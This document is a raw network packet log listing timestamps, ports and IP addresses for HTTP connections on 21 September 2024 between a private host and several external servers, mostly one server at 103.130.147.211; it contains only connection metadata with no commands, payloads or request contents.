Sep 21, 2024 13:33:40.766186953 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:40.816390991 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:40.816477060 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:40.817049026 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:40.822621107 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:40.834928989 CEST	80	49715	185.166.143.50	192.168.2.9
Sep 21, 2024 13:33:40.835051060 CEST	49715	80	192.168.2.9	185.166.143.50
Sep 21, 2024 13:33:40.835414886 CEST	49715	80	192.168.2.9	185.166.143.50
Sep 21, 2024 13:33:40.835763931 CEST	49718	80	192.168.2.9	185.166.143.50
Sep 21, 2024 13:33:40.840884924 CEST	80	49715	185.166.143.50	192.168.2.9
Sep 21, 2024 13:33:40.840984106 CEST	49715	80	192.168.2.9	185.166.143.50
Sep 21, 2024 13:33:40.841497898 CEST	80	49718	185.166.143.50	192.168.2.9
Sep 21, 2024 13:33:40.841583967 CEST	49718	80	192.168.2.9	185.166.143.50
Sep 21, 2024 13:33:40.842003107 CEST	49718	80	192.168.2.9	185.166.143.50
Sep 21, 2024 13:33:40.842557907 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:40.842693090 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:40.842791080 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:40.847125053 CEST	80	49718	185.166.143.50	192.168.2.9
Sep 21, 2024 13:33:40.847815037 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.108035088 CEST	80	49711	176.111.174.109	192.168.2.9
Sep 21, 2024 13:33:41.108170986 CEST	49711	80	192.168.2.9	176.111.174.109
Sep 21, 2024 13:33:41.108352900 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.108370066 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.108381987 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.108433962 CEST	49711	80	192.168.2.9	176.111.174.109
Sep 21, 2024 13:33:41.108483076 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.108483076 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.108484030 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.108504057 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.108521938 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.108547926 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.108567953 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.108571053 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.108571053 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.108614922 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.108614922 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.108690023 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.108707905 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.108727932 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.108755112 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.108755112 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.108994007 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.109189034 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.109206915 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.109224081 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.109285116 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.109289885 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.109311104 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.109349966 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.109396935 CEST	80	49711	176.111.174.109	192.168.2.9
Sep 21, 2024 13:33:41.109450102 CEST	49711	80	192.168.2.9	176.111.174.109
Sep 21, 2024 13:33:41.109456062 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.109752893 CEST	49719	80	192.168.2.9	176.111.174.109
Sep 21, 2024 13:33:41.109826088 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.110549927 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.110887051 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.113411903 CEST	80	49711	176.111.174.109	192.168.2.9
Sep 21, 2024 13:33:41.113450050 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.113660097 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.113682985 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.113703966 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.113703966 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.113709927 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.113730907 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.113755941 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.113755941 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.113794088 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.114562988 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.114582062 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.114593029 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.114646912 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.114694118 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.114694118 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.114849091 CEST	80	49719	176.111.174.109	192.168.2.9
Sep 21, 2024 13:33:41.114867926 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.114926100 CEST	49719	80	192.168.2.9	176.111.174.109
Sep 21, 2024 13:33:41.115081072 CEST	49719	80	192.168.2.9	176.111.174.109
Sep 21, 2024 13:33:41.115400076 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.115444899 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.115505934 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.115523100 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.115528107 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.115542889 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.115565062 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.115565062 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.115600109 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.116118908 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.116460085 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.116669893 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.116705894 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.116710901 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.116710901 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.116723061 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.116763115 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.116763115 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.116811037 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.116894007 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.118635893 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.118733883 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.118762016 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.118885040 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.118942022 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.119200945 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.119246960 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.119246960 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.119457006 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.119674921 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.119744062 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.119812965 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.119828939 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.119858027 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.119858027 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.120059013 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.120085955 CEST	80	49719	176.111.174.109	192.168.2.9
Sep 21, 2024 13:33:41.120403051 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.120521069 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.120690107 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.120908976 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.120959044 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.120959044 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.121170998 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.121383905 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.121428967 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.121428967 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.121618986 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.121722937 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.121860981 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.121956110 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.122118950 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.122342110 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.122390032 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.122390032 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.122596025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.122848034 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.123640060 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.123754978 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.123771906 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.123786926 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.123816967 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.123816967 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.123920918 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.124089003 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.124222994 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.124238014 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.124257088 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.124269962 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.124269962 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.124304056 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.124304056 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.124435902 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.124450922 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.124496937 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.124496937 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.124644041 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.124701977 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.124711037 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.124861956 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.124886036 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.124913931 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.124913931 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.125011921 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.125055075 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.125055075 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.125353098 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.125370026 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.125385046 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.125428915 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.125595093 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.126553059 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.126571894 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.126586914 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.126641035 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.126641035 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.126641035 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.126657009 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.126673937 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.126691103 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.126701117 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.126701117 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.126734018 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.126734018 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.126786947 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.126804113 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.126848936 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.126848936 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.126941919 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.126995087 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.127012014 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.127017021 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.127053976 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.127053976 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.127247095 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.127422094 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.146975994 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.146996975 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.147011995 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.147069931 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.147069931 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.185362101 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.185409069 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.185421944 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.185434103 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.185466051 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.185468912 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.185482025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.185529947 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.185530901 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.185566902 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.185580969 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.185595989 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.185621023 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.185621023 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.185641050 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.185724974 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.185774088 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.185779095 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.185790062 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.185831070 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.185831070 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.185893059 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.185909986 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.185954094 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.185954094 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.185972929 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.186014891 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.186029911 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.186050892 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.186050892 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.186146021 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.186146975 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.186161995 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.186177015 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.186192036 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.186201096 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.186201096 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.186224937 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.186244011 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.186331034 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.186347008 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.186393976 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.186393976 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.186466932 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.186481953 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.186527967 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.186528921 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.186551094 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.186566114 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.186589003 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.186604023 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.186605930 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.186605930 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.186619997 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.186640978 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.186640978 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.186783075 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.186798096 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.186824083 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.186824083 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.186853886 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.186870098 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.186885118 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.186892986 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.186892986 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.186901093 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.186914921 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.186927080 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.186927080 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.186928988 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.186980963 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.186980963 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.187252998 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.187268972 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.187284946 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.187314987 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.187315941 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.187334061 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.187370062 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.187397003 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.187411070 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.187426090 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.187467098 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.187467098 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.187562943 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.187577963 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.187592030 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.187635899 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.187635899 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.187715054 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.187730074 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.187745094 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.187783957 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.187783957 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.187949896 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.187964916 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.187979937 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.187994003 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.188010931 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.188014030 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.188014030 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.188026905 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.188043118 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.188066006 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.188066006 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.188179016 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.188247919 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.188272953 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.188287020 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.188301086 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.188316107 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.188328981 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.188328981 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.188332081 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.188347101 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.188369036 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.188369989 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.188458920 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.188694954 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.188709974 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.188724995 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.188733101 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.188776016 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.188776016 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.188838959 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.188854933 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.188911915 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.188911915 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.190241098 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.190362930 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.190413952 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.190413952 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.190582991 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.190654039 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.190668106 CEST	80	49710	103.130.147.211	192.168.2.9
